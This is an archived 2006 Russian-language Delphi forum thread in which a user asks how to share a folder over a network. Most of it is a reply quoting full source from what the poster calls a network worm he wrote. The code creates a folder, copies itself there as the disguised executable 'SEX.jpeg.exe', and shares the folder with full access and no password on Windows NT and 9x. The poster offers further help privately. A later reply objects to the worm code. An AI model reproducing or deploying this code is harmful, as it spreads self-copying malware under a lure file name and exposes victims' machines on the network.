Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];

Вниз

Подскажите как открыть доступ к определеной папке?   Найти похожие ветки 

 
Maxim13 ©   (2006-05-21 10:30) [0]

Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи  сети имели доступ к этой папке?


 
Замок ©   (2006-05-21 14:43) [1]

Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :

unit Unit1;

interface

uses
 Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, jpeg, ExtCtrls;

type
 TForm1 = class(TForm)
   Image1: TImage;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
 bNT:Boolean;
   fHandleNT, fHandle9x : THandle;
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;

begin
if directoryexists ("C:\Documents and Settings\All Users\Документы\Porno") = true then
 halt// выход если папка уже существует
 else
createdir ("C:\Documents and Settings\All Users\Документы\Porno");
CopyFile(@(ParamStr(0))[1],@("C:\Documents and Settings\All Users\Документы\Porno" + "\SEX.jpeg.exe")[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
 VER_PLATFORM_WIN32_NT       : bNT := True;
 VER_PLATFORM_WIN32_WINDOWS  : bNT := False;
 VER_PLATFORM_WIN32s         : bNT := False
end;

if bNT then
 fHandleNT := LoadLibrary("NETAPI32.DLL")
else
 fHandle9x := LoadLibrary("SVRAPI.DLL");
 
 end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
 Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := "C:\Documents and Settings\All Users\Документы\Porno";
edNetName := "Porno";
edPass := "";
edComment := "Porno";
if bNT then
 begin //Далее идёт код для NT
   @NetShareAddNT := GetProcAddress(fHandleNT,"NetShareAdd");
   if @NetShareAddNT=nil then
     Exit;

   // Конвертирование строк в Unicode
   GetMem(wcPath, WIDE_LENGTH);
   StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);

   GetMem(wcName, WIDE_LENGTH);
   StringToWideChar(edNetName, wcName, WIDE_LENGTH);

   GetMem(wcPass, WIDE_LENGTH);
   StringToWideChar(edPass, wcPass, WIDE_LENGTH);

   GetMem(wcComment, WIDE_LENGTH);
   StringToWideChar(edComment, wcComment, WIDE_LENGTH);

   // Заполнение структуры
   ShareNT.shi2_path := wcPath;
   ShareNT.shi2_netname := wcName;
   ShareNT.shi2_passwd := wcPass;
   ShareNT.shi2_remark := wcComment;
   ShareNT.shi2_type := STYPE_DISKTREE;
   ShareNT.shi2_remark := "";
   ShareNT.shi2_permissions := ACCESS_ALL;
   ShareNT.shi2_max_uses := DWORD(-1);
   ShareNT.shi2_current_uses := 0;

   // Добавление открытого ресурса
   NetShareAddNT(nil,2,@ShareNT, nil);

   // Освобождение Unicode строк
   FreeMem (wcName);
   FreeMem (wcPath);
   FreeMem (wcPass);
   FreeMem (wcComment);
 end
else
 begin //Код для Windows 9x
  @NetShareAdd := GetProcAddress(fHandle9x,"NetShareAdd");
  if @NetShareAdd=nil then
   exit;

  // Заполнение структуры
  FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
  move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
  Share9x.shi502_type := STYPE_DISKTREE;
  Share9x.shi502_flags := ACCESS_ALL;
  FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
  FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
  Share9x.shi502_path := PAnsiChar(edSharePath);
  FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
  FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);

  NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
 end;
end;

end.


 
Maxim13 ©   (2006-05-21 20:36) [2]

Спасибо за ответ!


 
Maxim13 ©   (2006-05-21 20:47) [3]

А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru


 
Ildar ©   (2006-07-01 11:57) [4]

Они же в виндовс идут.


 
Дмитрий Белькевич ©   (2006-07-03 04:31) [5]

Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....



Страницы: 1 вся ветка

Форум: "Сети";
Текущий архив: 2006.11.19;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.044 c
2-1162358463
apic
2006-11-01 08:21
2006.11.19
EXE в БД


3-1158662881
SergP
2006-09-19 14:48
2006.11.19
Oracle и Port Mapping. Не могу подключиться...


11-1139053039
Boguslaw
2006-02-04 14:37
2006.11.19
Unicode


1-1160348188
zero-g
2006-10-09 02:56
2006.11.19
Создание своих обьектов на форме


15-1162105239
Pazitron_Brain
2006-10-29 10:00
2006.11.19
Сколько тратит IP телефония трафика?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский